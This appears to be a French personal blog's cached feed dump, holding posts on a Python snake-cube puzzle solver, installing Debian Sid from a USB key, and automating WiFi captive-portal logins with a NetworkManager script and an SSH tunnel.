Pour trouver les solutions, il suffit de partir d’un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes :

Il faut donc placer récursivement tous les vecteurs possibles, c’est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu’à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).

Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).

Limites

Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions “identiques”. Une amélioration serait de les détecter “au plus tôt” et de ne pas les construire.

EDIT : La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d’explications dans ce commentaire et le suivant.

Implémentation

Voici une explication succincte des différentes parties du programme (pour plus d’informations, lire les commentaires dans le code).

Vector

Nous avons besoins de vecteurs, mais pas n’importe lesquels : seulement ceux qui ont une et une seule composante non-nulle, c’est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.

Ainsi, au lieu de stocker toutes les composantes, le Vector ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler):

Vector(position, value)

VolumeHelper

Cette classe définit l’outil que va utiliser le solveur pour noter tout ce qu’il fait : le chemin emprunté et les sommets déjà visités. À chaque fois qu’il place un vecteur dans le volume, il “allume les petites lumières” associées aux sommets visités, et quand il revient en arrière (pour chercher d’autres solutions), il éteint ces petites lumières (par lumières, comprenez booléens).

SymmetryHelper

Cette classe a été ajoutée dans la version 0.2. Elle définit l’outil que va utiliser le solveur pour n’explorer que les solutions nécessaires, en ignorant les symétries et les rotations.

Solver

Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s’aidant du VolumeHelper) afin de trouver toutes les solutions.

Solutions

Lors de l’exécution du script, les solutions s’affichent au fur et à mesure :

$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...

Considérons la première solution :

([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])

Le point de départ est [0, 0, 0]. On se déplace d’abord de 2 sur l’axe x, puis de 1 sur l’axe y, de -1 sur l’axe x, etc.

Voici la représentation graphique de cette solution :

solution-cube-serpent

Fonctionnalités de Python

Maintenant, voici quelques éléments essentiels du langage Python dont je me suis servi pour ce programme.

Compréhension de liste

La compréhension de liste (ou liste en compréhension) est très pratique. Je l’ai utilisée plusieurs fois dans l’algorithme. Je vais détailler deux exemples.

D’abord, dans la classe VolumeHelper :

def all_points(self, index=0):
    if index == len(self.dimensions):
        return [[]]
    return ([h] + t for h in xrange(self.dimensions[index])
            for t in self.all_points(index + 1))

Ce qui est retourné à la fin signifie :

tous les éléments de la forme [h] + t (l’élément h en tête de liste suivie de la queue de la liste) pour h compris entre 0 et self.dimensions[index] (un entier) et pour tout t compris dans les résultats de l’appel récursif

Ça ne vous éclaire pas ? Dit plus simplement :

le résultat de la concaténation de chacun des nombres de 0 à n (avec n = self.dimensions[index]) à chacune des listes fournies par l’appel récursif

En fait, cette fonction fournit tous les points possibles pour les dimensions données. Par exemple, si dimensions = [2, 2], alors le résultat sera :

[[0, 0], [0, 1], [1, 0], [1, 1]]

Pour dimensions = [2, 2, 3], le résultat sera :

[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1, 0, 0],
[1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]

Sans compréhension de liste, il serait difficile d’écrire le corps de cette fonction en 3 lignes !

Remarque : la compréhension de liste retourne une liste si elle est définie entre [], alors qu’elle retourne un générateur (un _itérateur) si elle est définie entre ()._

Second exemple, dans Solver.__solve_rec(…) :

for possible_vector in ( Vector(i, v)
                         for v in [ norm, -norm ]
                         for i in xrange(len(self.dimensions))
                         if i != previous_position ):

Cette partie fournit un ensemble de Vector(i, v), pour toutes les combinaisons de i et de v dans leurs domaines respectifs, qui vérifient la condition (qui ici ne porte que sur i).

En clair, ici nous récupérons tous les vecteurs possibles, c’est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.

Itérateur

La notion d’itérateur est présente dans beaucoup d’autres langages. Un itérateur retourne un nouvel élément à chaque appel à la méthode next(). En pratique, il est souvent utilisé de manière transparente dans une boucle for _variable_ in _iterator_ :

for i in xrange(10):
    print i

xrange(…) retourne un itérateur et fournit les valeurs au fur et à mesure, alors que range(…) crée la liste de toutes les valeurs, qui est ensuite parcourue.

Yield

Les expressions yield permettent de créer un itérateur très simplement.

Pour résoudre le cube-serpent, il est préférable d’une part de fournir les solutions au fur et à mesure qu’elles sont trouvées, et d’autre part de pouvoir ne calculer que les k premières solutions.

La première contrainte est souvent résolue grâce à des callbacks : la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.

La seconde est plus délicate : elle implique que l’algorithme s’arrête dès qu’il trouve une solution, et que lors d’un prochain appel il reprenne le calcul là où il s’était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un itérateur simple comme celui d’une liste, il suffit de stocker l’index courant de parcours, et de l’incrémenter à chaque appel à next(). Gérer manuellement l’itération sur les solutions du cube-serpent semble beaucoup plus complexe, d’autant plus que les solutions sont trouvées dans des appels récursifs.

C’est là qu’interviennent les expressions yield, qui répondent aux deux besoins en même temps. Utiliser une expression yield dans le corps d’une fonction suffit à transformer cette fonction en un générateur. Il n’est donc plus possible de retourner de valeur grâce à return.

Dès que l’expression yield est rencontrée, la valeur est transmise et l’exécution de la fonction s’arrête. Elle reprendra lors du prochain appel.

Afin d’utiliser ce principe pour la génération des solutions, les fonctions SnakeCubeSolver.solve() et SnakeCubeSolver.__solve_rec(…) ne sont donc pas des fonctions ordinaires, mais des générateurs :

if step == len(self.structure):
    yield init_cursor, self.volume_helper.path[:]

Grâce à cette implémentation, il est possible de parcourir toutes les solutions :

for solution in solver.solve():
    print solution

ou alors de ne générer que les k premières :

max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
    try:
        print solutions.next()
    except StopIteration:
        break

Lambdas

Python supporte aussi les expressions lambda, issues du lambda-calcul, qui permettent d’écrire des fonctions anonymes simplement.

J’utilise cette fonctionnalité une fois dans le programme :

needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1

Il s’agit de la déclaration d’une fonction avec deux arguments, qui retourne leur produit.

La fonction reduce(function, iterable, …) permet d’appliquer cumulativement la fonction aux éléments de l’iterable, de gauche à droite, de manière à réduire l’iterable en une seule valeur.

Même si “ce qui se conçoit bien s’énonce clairement”, la fonction reduce est bien plus facile à comprendre qu’à expliquer en quelques mots…

Ici, donc, needed_length contient le produit de tous les éléments de la liste self.dimensions.

Conclusion

La résolution du cube-serpent est intéressante, tout comme sa généralisation à n’importe quel volume de dimensions quelconque. Je me suis arrêté là (EDIT : finalement, non), mais la détection des symétries et des rotations “au plus tôt” serait une amélioration non négligeable (et pas si évidente).

Débutant tout juste en Python, ce micro-projet m’a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions yield que je ne connaissais pas.

J’espère que ça vous a amusé aussi.

Script

Le code source est disponible sur ce dépôt git :

git clone http://git.rom1v.com/snakesolver.git

(ou sur github).

";s:7:"dateiso";s:15:"20110927_211034";}s:15:"20110828_200431";a:7:{s:5:"title";s:20:"Installer Debian Sid";s:4:"link";s:51:"http://blog.rom1v.com/2011/08/installer-debian-sid/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2862";s:7:"pubDate";s:31:"Sun, 28 Aug 2011 18:04:31 +0000";s:11:"description";s:414:"Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services. Il y a de nombreuses manières d’installer Debian, plusieurs versions, plein d’architectures… L’objectif de cet article est de décrire l’installation telle que je l’ai réalisée. Dans l’ordre : le téléchargement ; la copie sur une [...]";s:7:"content";s:11978:"

Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services.

Il y a de nombreuses manières d’installer Debian, plusieurs versions, plein d’architectures…
L’objectif de cet article est de décrire l’installation telle que je l’ai réalisée.

Dans l’ordre :

Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j’imagine que vous faites, comme tout le monde, plusieurs backups par semaine… ;-)

Téléchargement

Sur la page d’accueil de Debian, dans « Obtenir Debian », c’est la version stable.
Ce qui nous intéresse, c’est la version testing, à partir de laquelle on peut passer en unstable dès l’installation. Celle-ci est disponible dans « Le coin du développeur », Installateur de Debian.

Ici, il faut regarder la partie « images de CD d’installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo) », et cliquer sur l’architecture souhaitée. Typiquement, il faut prendre amd64 pour du 64 bits et i386 pour du 32 bits.

Choisir l’image businesscard (la plus petite). Pour moi : debian-testing-amd64-businesscard.iso.

Clé USB

Connaître l’emplacement

Nous avons besoin de connaître l’emplacement de la clé, sous la forme /dev/sdX.
Une méthode parmi d’autres est de consulter /var/log/syslog lors du branchement : insérer la clé USB et exécuter :

tail /var/log/syslog

Vous devriez obtenir plusieurs lignes qui ressemblent à ceci :

Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)

Sur cet exemple, nous voyons [sdb], nous en concluons que l’emplacement de la clé est /dev/sdb.

Alternativement, si la clé est montée, il est possible d’obtenir cet emplacement dans le résultat de :

df -h

Ne vous trompez surtout pas d’emplacement, vous risqueriez d’écraser toutes les données de votre disque dur !

Préparer

Si vous avez une clé réservée pour vos installations de systèmes d’exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu’il y a sur la clé (4.3.1) :

$ sudo -s
# cat debian-testing-amd64-businesscard.iso > /dev/sdb
# sync

Ensuite, il faut redémarrer, et configurer le BIOS pour qu’il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).

Installation

Pour l’installation, l’ordinateur doit être connecté à Internet par un câble Ethernet.

L’ordinateur boote sur la clé USB, et affiche un menu d’installation de Debian. Sélectionner « Advanced Options ».
Ici, il est possible changer l’environnement de bureau (Gnome, KDE, XFCE…). Par défaut, c’est Gnome.
Ensuite, sélectionner « Expert Install » pour lancer l’installation (afin de pouvoir choisir sid/unstable au lieu de testing dès l’installation).

Lors de l’étape de partitionnement, dans l’hypothèse où le disque dur utilise une partition séparée pour le home, ne pas oublier de configurer les points de montage (/ et /home), et ne pas formater /home (pour conserver les données personnelles).

Utiliser le même nom d’utilisateur et mot de passe que celui d’Ubuntu (c’est important pour accéder au répertoire home chiffré).

Je ne détaille pas les autres étapes d’installation, il suffit de lire.

Déchiffrer le home

Une fois l’installation terminée et le système démarré, il n’est pas possible de se connecter graphiquement avec le compte utilisateur, car le home est chiffré et par défaut, eCryptFS n’est pas installé. Il faut donc l’installer.

Pour cela, ouvrir un TTY (Ctrl+Alt+F1), se connecter en root (ou avec le compte utilisateur si vous avez interdit la connexion de root, dans ce cas utiliser sudo), puis installer ecryptfs-utils :

apt-get install ecryptfs-utils

Si lors de l’installation vous n’avez pas choisi le même mot de passe que sur Ubuntu, profitez-en pour le rétablir :

passwd monlogin

Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (Ctrl+Alt+F7).

Gestionnaire de composite

Pour moi, il est indispensable d’utiliser un gestionnaire de composite. Pour au moins 3 raisons :

Par défaut, Metacity (le gestionnaire de fenêtres de Gnome) n’en utilise pas. C’est la raison pour laquelle Compiz se révèle souvent indispensable.
Cependant, je viens de découvrir que Metacity savait gérer le compositing, grâce à une option bien cachée. Pour l’activer :

gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true

Il est également possible d’utiliser gconf-editor :

Il n’est pas configurable, et ne permet pas de faire tout ce que fait Compiz, mais pour moi c’est suffisant.

Pilotes NVIDIA

J’ai la malchance d’avoir une carte graphique NVIDIA, qui nécessite dans certains cas d’avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner Compiz ni certains jeux.

Cependant, le pilote libre Nouveau (installé par défaut) est assez impressionnant par rapport à l’ancien (nv). Et même s’il ne permet pas de démarrer Compiz, il supporte le compositing de Metacity avec de bonnes performances.

En installant le paquet libgl1-mesa-dri-experimental, le pilote Nouveau sait faire fonctionner Compiz et surtout Gnome-Shell. Il faut simplement prendre soin d’avoir supprimé toute trace éventuelle du pilote propriétaire :

apt-get remove nvidia-*

Pour néanmoins installer les pilotes privateurs (les dépôts non-free doivent être activés) :

apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings && nvidia-xconfig

(Remplacez nvidia-kernel-dkms par nvidia-kernel-legacy-VERSION-dkms pour une carte graphique nécessitant des pilotes plus anciens.)

Puis rebooter.

Pilotes WiFi

J’ai également dû installer des pilotes pour ma carte WiFi :

$ lspci | grep Network
03:00.0 Network controller: Intel Corporation WiFi Link 5100

Il suffit d’installer le paquet non-libre firmware-iwlwifi :

apt-get install firmware-iwlwifi

Il y a plusieurs paquets en firmware-quelquechose, selon votre matériel.

Agencement du clavier

Avec la version actuelle, Debian Sid installe par défaut l’agencement du clavier « France (Obsolète) Autre » au lieu de « France Autre ». Je vous conseille de le changer dans Système → Préférences → Clavier → Agencements, sinon vous risquez d’avoir des surprises (notamment si vous utilisez des pipes dans un terminal)…
EDIT : Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l’écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.

Conclusion

Avant la migration, j’avais un peu peur pour la conservation du home chiffré… Mais finalement, aucun souci.

Par rapport à Ubuntu, j’apprécie beaucoup d’avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d’avoir plus de logiciels dans les dépôts par défaut (pino par exemple). L’installation est cependant un peu moins simple qu’Ubuntu (il faut avouer qu’il est difficile de faire plus simple).

Pour finir, voici une capture d’écran juste après l’installation (avec, comme le veut la tradition, un terminal ouvert) :

";s:7:"dateiso";s:15:"20110828_200431";}s:15:"20110828_180431";a:7:{s:5:"title";s:20:"Installer Debian Sid";s:4:"link";s:50:"http://blog.rom1v.com/2011/08/installer-debian-sid";s:4:"guid";s:50:"http://blog.rom1v.com/2011/08/installer-debian-sid";s:7:"pubDate";s:25:"2011-08-28T18:04:31+02:00";s:11:"description";s:0:"";s:7:"content";s:11181:"

Je viens de migrer mon PC principal vers Debian Sid (unstable), qui remplace Ubuntu, après 5 ans de bons et loyaux services.

debian

Il y a de nombreuses manières d’installer Debian, plusieurs versions, plein d’architectures… L’objectif de cet article est de décrire l’installation telle que je l’ai réalisée.

Dans l’ordre :

Bien sûr, avant tout, faites des sauvegardes de toutes vos données importantes. Cet avertissement est sûrement inutile, j’imagine que vous faites, comme tout le monde, plusieurs backups par semaine… ;-)

Téléchargement

Sur la page d’accueil de Debian, dans “Obtenir Debian”, c’est la version stable.

Ce qui nous intéresse, c’est la version testing, à partir de laquelle on peut passer en unstable dès l’installation. Celle-ci est disponible dans “Le coin du développeur”, Installateur de Debian.

Ici, il faut regarder la partie “images de CD d’installation par le réseau (en général 135 à 175 Mo) et au format carte de visite (en général 20 à 50 Mo)”, et cliquer sur l’architecture souhaitée. Typiquement, il faut prendre amd64 pour du 64 bits et i386 pour du 32 bits.

Choisir l’image businesscard (la plus petite). Pour moi : debian-testing-amd64-businesscard.iso.

EDIT : En fait, autant utiliser l’iso du CD1 qu’on pourra installer sur une clé USB, l’installation n’en sera que plus rapide.

Clé USB

Connaître l’emplacement

Nous avons besoin de connaître l’emplacement de la clé, sous la forme /dev/sdX. Une méthode parmi d’autres est de consulter /var/log/syslog lors du branchement. Pour cela, insérer la clé USB et exécuter :

tail /var/log/syslog

Vous devriez obtenir plusieurs lignes qui ressemblent à ceci :

Aug 28 00:54:27 rom-laptop kernel: [ 1868.930100] sd 4:0:0:0: [sdb] 2015232 512-byte logical blocks: (1.03 GB/984 MiB)

Sur cet exemple, nous voyons [sdb], nous en concluons que l’emplacement de la clé est /dev/sdb.

Alternativement, si la clé est montée, il est possible d’obtenir cet emplacement dans le résultat de :

df -h

Ne vous trompez surtout pas d’emplacement, vous risqueriez d’écraser toutes les données de votre disque dur !

Préparer

Si vous avez une clé réservée pour vos installations de systèmes d’exploitation (sans données à conserver), je vous conseille la méthode la plus simple, qui écrase tout ce qu’il y a sur la clé (4.3.1) :

$ sudo -s
# cat debian-testing-amd64-businesscard.iso > /dev/sdb
# sync

Ensuite, il faut redémarrer, et configurer le BIOS pour qu’il boote sur clé USB (souvent, les clés USB sont reconnues comme un disque dur, il faut donc régler la priorité entre les disques durs).

Installation

Pour l’installation, l’ordinateur doit être connecté à Internet par un câble Ethernet.

L’ordinateur boote sur la clé USB, et affiche un menu d’installation de Debian. Sélectionner “Advanced Options”. Ici, il est possible changer l’environnement de bureau (Gnome, KDE, XFCE…). Par défaut, c’est Gnome. Ensuite, sélectionner “Expert Install” pour lancer l’installation (afin de pouvoir choisir sid/unstable au lieu de testing dès l’installation).

debian-installer

Lors de l’étape de partitionnement, dans l’hypothèse où le disque dur utilise une partition séparée pour le home, ne pas oublier de configurer les points de montage (/ et /home), et ne pas formater /home (pour conserver les données personnelles).

Utiliser le même nom d’utilisateur et mot de passe que celui d’Ubuntu (c’est important pour accéder au répertoire home chiffré).

Je ne détaille pas les autres étapes d’installation, il suffit de lire.

Déchiffrer le home

Une fois l’installation terminée et le système démarré, il n’est pas possible de se connecter graphiquement avec le compte utilisateur, car le home est chiffré et par défaut, eCryptFS n’est pas installé. Il faut donc l’installer.

Pour cela, ouvrir un TTY (Ctrl+Alt+F1), se connecter en root (ou avec le compte utilisateur si vous avez interdit la connexion de root, dans ce cas utiliser sudo), puis installer ecryptfs-utils :

apt-get install ecryptfs-utils

Si lors de l’installation vous n’avez pas choisi le même mot de passe que sur Ubuntu, profitez-en pour le rétablir :

passwd monlogin

Maintenant, il est possible de se connecter graphiquement, en retournant dans le TTY graphique (Ctrl+Alt+F7).

Gestionnaire de composite

Pour moi, il est indispensable d’utiliser un gestionnaire de composite. Pour au moins 3 raisons :

Par défaut, Metacity (le gestionnaire de fenêtres de Gnome) n’en utilise pas. C’est la raison pour laquelle Compiz se révèle souvent indispensable. Cependant, je viens de découvrir que Metacity savait gérer le compositing, grâce à une option bien cachée. Pour l’activer :

gconftool-2 -s -t boolean /apps/metacity/general/compositing_manager true

Il est également possible d’utiliser gconf-editor :

gconf

Il n’est pas configurable, et ne permet pas de faire tout ce que fait Compiz, mais pour moi c’est suffisant.

Pilotes NVIDIA

J’ai la malchance d’avoir une carte graphique NVIDIA, qui nécessite dans certains cas d’avoir recours à des pilotes privateurs. Sans eux, impossible de faire fonctionner Compiz ni certains jeux.

Cependant, le pilote libre Nouveau (installé par défaut) est assez impressionnant par rapport à l’ancien (nv). Et même s’il ne permet pas de démarrer Compiz, il supporte le compositing de Metacity avec de bonnes performances.

En installant le paquet libgl1-mesa-dri-experimental, le pilote Nouveau_ sait faire fonctionner Compiz et surtout Gnome-Shell. Il faut simplement prendre soin d’avoir supprimé toute trace éventuelle du pilote propriétaire :_

apt-get remove nvidia-*

Pour néanmoins installer les pilotes privateurs (les dépôts non-free doivent être activés) :

apt-get install nvidia-kernel-dkms nvidia-xconfig nvidia-settings
nvidia-xconfig

Remplacer nvidia-kernel-dkms par nvidia-kernel-legacy-_VERSION_-dkms pour une carte graphique nécessitant des pilotes plus anciens.

Puis rebooter.

Pilotes WiFi

J’ai également dû installer des pilotes pour ma carte WiFi :

$ lspci | grep Network
03:00.0 Network controller: Intel Corporation WiFi Link 5100

Il suffit d’installer le paquet non-libre firmware-iwlwifi :

apt-get install firmware-iwlwifi

Il y a plusieurs paquets en firmware-_quelquechose_, selon votre matériel.

Agencement du clavier

Avec la version actuelle, Debian Sid installe par défaut l’agencement du clavier “France (Obsolète) Autre” au lieu de “France Autre”. Je vous conseille de le changer dans Système → Préférences → Clavier → Agencements, sinon vous risquez d’avoir des surprises (notamment si vous utilisez des pipes dans un terminal)…

EDIT : Cela ne suffit pas, pour que le réglage soit conservé, il faut en fait le changer dans GDM (l’écran de connexion), une liste déroulante en bas permet de changer la disposition du clavier.

Conclusion

Avant la migration, j’avais un peu peur pour la conservation du home chiffré… Mais finalement, aucun souci.

Par rapport à Ubuntu, j’apprécie beaucoup d’avoir des versions plus à jour des logiciels sans passer par des PPA. Et aussi d’avoir plus de logiciels dans les dépôts par défaut (pino par exemple). L’installation est cependant un peu moins simple qu’Ubuntu (il faut avouer qu’il est difficile de faire plus simple).

Pour finir, voici une capture d’écran juste après l’installation (avec, comme le veut la tradition, un terminal ouvert) :

debian-screenshot

";s:7:"dateiso";s:15:"20110828_180431";}s:15:"20110731_134334";a:7:{s:5:"title";s:67:"Authentification automatique à un réseau WiFi avec NetworkManager";s:4:"link";s:96:"http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2766";s:7:"pubDate";s:31:"Sun, 31 Jul 2011 11:43:34 +0000";s:11:"description";s:413:"Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C’est souvent le cas des points d’accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi. Une fois connecté à un tel réseau, lorsqu’avec votre navigateur vous tentez d’accéder à n’importe quel site, vous êtes [...]";s:7:"content";s:10114:"


Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C’est souvent le cas des points d’accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi.

Une fois connecté à un tel réseau, lorsqu’avec votre navigateur vous tentez d’accéder à n’importe quel site, vous êtes redirigé vers une page d’authentification demandant votre identifiant et votre mot de passe (parfois il ne s’agit que d’accepter des conditions d’utilisation). Après avoir renseigné ces informations, vous êtes authentifié et pouvez accéder à Internet normalement.

Mais il faut avouer que s’authentifier manuellement à chaque connexion est pénible. D’autant plus que la redirection HTTP vers la page d’authentification ne fonctionne… que pour HTTP. Ainsi, alors que vous êtes connecté au réseau Wifi, votre client mail ne parviendra à récupérer les mails, votre client XMPP n’arrivera pas à se connecter au serveur… mais sans message indiquant la cause du problème.

Le but de ce billet est de mettre en place une authentification automatique lors de la connexion au réseau.

Authentification en ligne de commande

La première étape est de pouvoir réaliser cette authentification en ligne de commande, à partir de l’identifiant et du mot de passe. C’est très simple, il suffit d’imiter ce que fait le navigateur lors du clic sur le bouton Valider.

Pour cela, deux choses sont nécessaires : l’URL de la page de validation d’authentification et les champs de formulaire qu’elle utilise.

Pour les connaître, il faut regarder le code source de la page sur laquelle vous êtes redirigés, en particulier la balise form. Voici un exemple de ce que vous pouvez obtenir (le HTML n’est pas toujours super propre sur ce genre de pages) :

<form method="post" action="http://10.9.0.1:8000/">
Login <input name="auth_user" type="text">
Password <input name="auth_pass" type="password">
<input type="checkbox" name="regagree" value="valeur" onClick="ChangeStatut(this.form)"> J'accepte le règlement
<input name="redirurl" type="hidden" value="http://www.google.com/search?ie=UTF-8">
<input type="submit" name="accept" value="Continuer" disabled>
</form>

Tout y est. La valeur de l’attribut action est l’URL de validation, et le nom des champs utilisés est dans l’attribut name de chaque balise input.

Dans cet exemple, seuls auth_user et auth_pass semblent utiles, mais parfois le serveur effectue des vérifications (étranges) supplémentaires. Ici, il vérifie qu’il y a bien un attribut accept qui vaut Continuer (allez savoir pourquoi).

À partir de ces champs, nous allons construire la chaîne des paramètres sous la forme :

champ1=valeur1&champ2=valeur2&champ3=valeur3

et l’envoyer au serveur en POST, par exemple grâce à la commande POST (en majuscules, ça surprend un peu pour une commande shell) :

POST http://10.9.0.1:8000/ <<< 'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'

Si la page d’authentification est en HTTPS, il faudra installer le paquet libcrypt-ssleay-perl, ou alors utiliser wget :

wget -qO- https://10.9.0.1:8000/ --post-data='auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer'

Voilà, nous avons reproduit en ligne de commande le comportement du navigateur pour l’authentification.
Nous devons maintenant faire en sorte que cette commande soit exécutée dès la connexion au réseau WiFi.

Exécuter un script lors de la connexion

NetworkManager (le gestionnaire de connexion par défaut d’Ubuntu) permet d’exécuter des scripts lors de la connexion ou la déconnexion. Pour cela, il suffit de placer le script dans /etc/NetworkManager/dispatcher.d/ et de le rendre exécutable.

Le script est appelé avec deux paramètres :

Nous voulons exécuter la commande POST uniquement lors de la connexion de wlan0, et seulement pour le réseau concerné (par exemple celui ayant le nom MonLieuDeVacances).

Il est possible de récupérer le nom du réseau (l’ESSID) auquel nous sommes connectés grâce à iwconfig :

iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/'

Il faut donc créer un script dans /etc/NetworkManager/dispatcher.d/10auth :

gksudo gedit /etc/NetworkManager/dispatcher.d/10auth

ayant cette structure :

#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'MonLieuDeVacances')
            POST http://10.9.0.1:8000/ <<< 'auth_user=IDENTIFIANT&auth_pass=MOT_DE_PASSE&accept=Continuer' ;;
        'MaGare')
            POST http://192.168.0.1 <<< 'accept_cgu=1' ;;
    esac
fi

Et le rendre exécutable :

sudo chmod +x /etc/NetworkManager/dispatcher.d/10auth

Script pour FreeWifi

Les pages d’authentification varient d’un réseau à l’autre, il faut donc adapter les paramètres de connexion selon le service utilisé.

Voici le script à utiliser (en adaptant votre identifiant et votre mot de passe) pour le réseau FreeWifi (très connu) :

#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'FreeWifi')
            wget -qO- https://wifi.free.fr/Auth --post-data='login=IDENTIFIANT&password=MOT_DE_PASSE' ;;
    esac
fi

Tunnel SSH


Ces réseaux ouverts, gérant éventuellement une authentification HTTP, ne sont pas chiffrés : n’importe qui écoutant ce qui transite dans les airs pourra récupérer tout le contenu de votre trafic.
Si vous avez un ordinateur allumé chez vous (sur un réseau « sûr ») accessible en SSH, je vous conseille de faire passer toutes les connexions dans un tunnel chiffré.

Le principe est simple : dès que vous accédez à un serveur (par exemple en tapant l’URL dans un navigateur web), l’ordinateur ne va pas s’y connecter directement, il va transmettre les informations en passant par un tunnel chiffré à votre serveur SSH, qui lui va s’y connecter, et vous renvoyer la page à travers le tunnel. Techniquement, le tunnel est un proxy SOCKS écoutant sur un port local (par exemple localhost:3128).

Pour démarrer le tunnel :

ssh monserveur -CND3128

Pour configurer le système afin qu’il utilise le tunnel SSH, Système → Préférences → Serveur mandataire (gnome-network-properties), puis configurer comme sur la capture d’écran :

Dans l’onglet Hôtes à ignorer, rajouter l’adresse de la page d’authentification.

Ainsi, toutes les connexions des logiciels utilisant les paramètres proxy du système passeront par le tunnel. Il est également possible de configurer ceci dans chaque logiciel individuellement (s’ils le proposent).

Pour Firefox, il est également recommandé dans about:config de passer la variable network.proxy.socks_remote_dns à true, afin que les DNS soient résolus également de l’autre côté du tunnel (sur le réseau « sûr »).

Vous trouverez plus d’infos sur mon billet concernant SSH.

Conclusion

La connexion à des points d’accès WiFi publics demandant à chaque fois une authentification ou une acceptation des conditions d’utilisation devient rapidement insupportable. Il est donc appréciable de l’automatiser.

De plus, ces réseaux ne sont pas « sûrs », n’importe qui peut écouter le trafic. Il est donc nécessaire de le chiffrer en passant par un réseau de confiance, par exemple avec un tunnel SSH.

";s:7:"dateiso";s:15:"20110731_134334";}s:15:"20110731_114334";a:7:{s:5:"title";s:67:"Authentification automatique à un réseau WiFi avec NetworkManager";s:4:"link";s:95:"http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager";s:4:"guid";s:95:"http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager";s:7:"pubDate";s:25:"2011-07-31T11:43:34+02:00";s:11:"description";s:0:"";s:7:"content";s:12852:"

Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C’est souvent le cas des points d’accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que FreeWifi.

Une fois connecté à un tel réseau, lorsqu’avec votre navigateur vous tentez d’accéder à n’importe quel site, vous êtes redirigé vers une page d’authentification demandant votre identifiant et votre mot de passe (parfois il ne s’agit que d’accepter des conditions d’utilisation). Après avoir renseigné ces informations, vous êtes authentifié et pouvez accéder à Internet normalement.

Mais il faut avouer que s’authentifier manuellement à chaque connexion est pénible. D’autant plus que la redirection HTTP vers la page d’authentification ne fonctionne… que pour HTTP. Ainsi, alors que vous êtes connecté au réseau Wifi, votre client mail ne parviendra à récupérer les mails, votre client XMPP n’arrivera pas à se connecter au serveur… mais sans message indiquant la cause du problème.

Le but de ce billet est de mettre en place une authentification automatique lors de la connexion au réseau.

Authentification en ligne de commande

